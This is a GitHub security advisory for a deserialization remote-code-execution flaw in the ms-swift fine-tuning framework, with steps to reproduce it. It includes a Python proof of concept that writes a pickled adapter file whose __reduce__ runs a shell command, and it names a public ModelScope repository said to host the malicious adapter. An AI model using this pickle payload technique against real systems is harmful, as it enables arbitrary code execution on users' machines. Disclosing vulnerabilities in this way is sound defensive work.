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MS SWIFT Deserialization RCE Vulnerability

Moderate severity GitHub Reviewed Published Jul 31, 2025 in modelscope/ms-swift • Updated Aug 1, 2025

Package

pip ms-swift (pip)

Affected versions

<= 3.6.3

Patched versions

None

Description

This appears to be a security vulnerability report describing a remote code execution (RCE) exploit in the ms-swift framework through malicious pickle deserialization in adapter model files. The vulnerability allows arbitrary command execution when loading specially crafted adapter models from ModelScope.

This occurs when using machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0

I. Detailed Description:

  1. Install ms-swift
pip install ms-swift -U
  1. Start web-ui
swift web-ui --lang en

  1. After startup, you can access http://localhost:7860/ through your browser to see the launched fine-tuning framework program

  2. Upload an adapter model repository (cyjhhh/lora_adapter_4_llama3) on ModelScope, where the lora/adapter_model.bin file is generated through the following code:

import torch, pickle, os

class MaliciousPayload:
   def __reduce__(self):
       return (os.system, ("touch /tmp/malicious.txt",))  # Arbitrary command

malicious_data = {
   "v_head.summary.weight": MaliciousPayload(),
   "v_head.summary.bias": torch.randn(10)
}

if __name__ == "__main__":
   with open("adapter_model.bin", "wb") as f:
       pickle.dump(malicious_data, f)

  1. First training submission: First, fill in the required parameters in the LLM Training interface, including Model id and Dataset Code, and configure the following in the Other params section of Advanced settings

  2. Click Begin to submit. You can see the backend command running as follows

  3. By reading the ms-swift source code, swift.llm.model.utils#safe_snapshot_download() and modelscope.hub.utils.utils#get_cache_dir(), we can see that adapters are downloaded locally to the path ~/.cache/modelscope. Therefore, the complete local path for the specified remote adapters after download is:

~/.cache/modelscope/hub/models/cyjhhh/lora_adapter_4_llama3

Wait for the first submission program until the adapters download is complete, then you can click "kill running task" on the page to terminate the first training

  1. Second training submission, configure the page parameters as follows

Click submit to see the backend command running as follows

  1. After waiting for a while, you can see that torch.load() loaded the malicious adapter_model.bin file and successfully executed the command. Related execution information can also be seen in the log file corresponding to --logging_dir

  2. Note (Prerequisites)
    Requires machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0

II. Vulnerability Proof:

  1. Remote downloaded adapter malicious model: [lora_adapter_4_llama3](https://www.modelscope.cn/models/cyjhhh/lora_adapter_4_llama3/files)
  2. For the second training submission, it's recommended to follow the parameters shown in the screenshots above for reproduction, as it will validate the target modules specified in the base model and adapter config. If they don't match, the program will terminate early. It's also recommended to select the same dataset content as shown in the screenshots
  3. This report only reproduces RCE for one entry point (single path). In reality, there are more than one path in the code that can cause deserialization RCE

III. Fix Solution:

SWIFT has disabled torch.load operations from 3.7 or later.

Author

References

@tastelikefeet tastelikefeet published to modelscope/ms-swift Jul 31, 2025
Published to the GitHub Advisory Database Jul 31, 2025
Reviewed Jul 31, 2025
Last updated Aug 1, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-r54c-2xmf-2cf3

Source code

Credits

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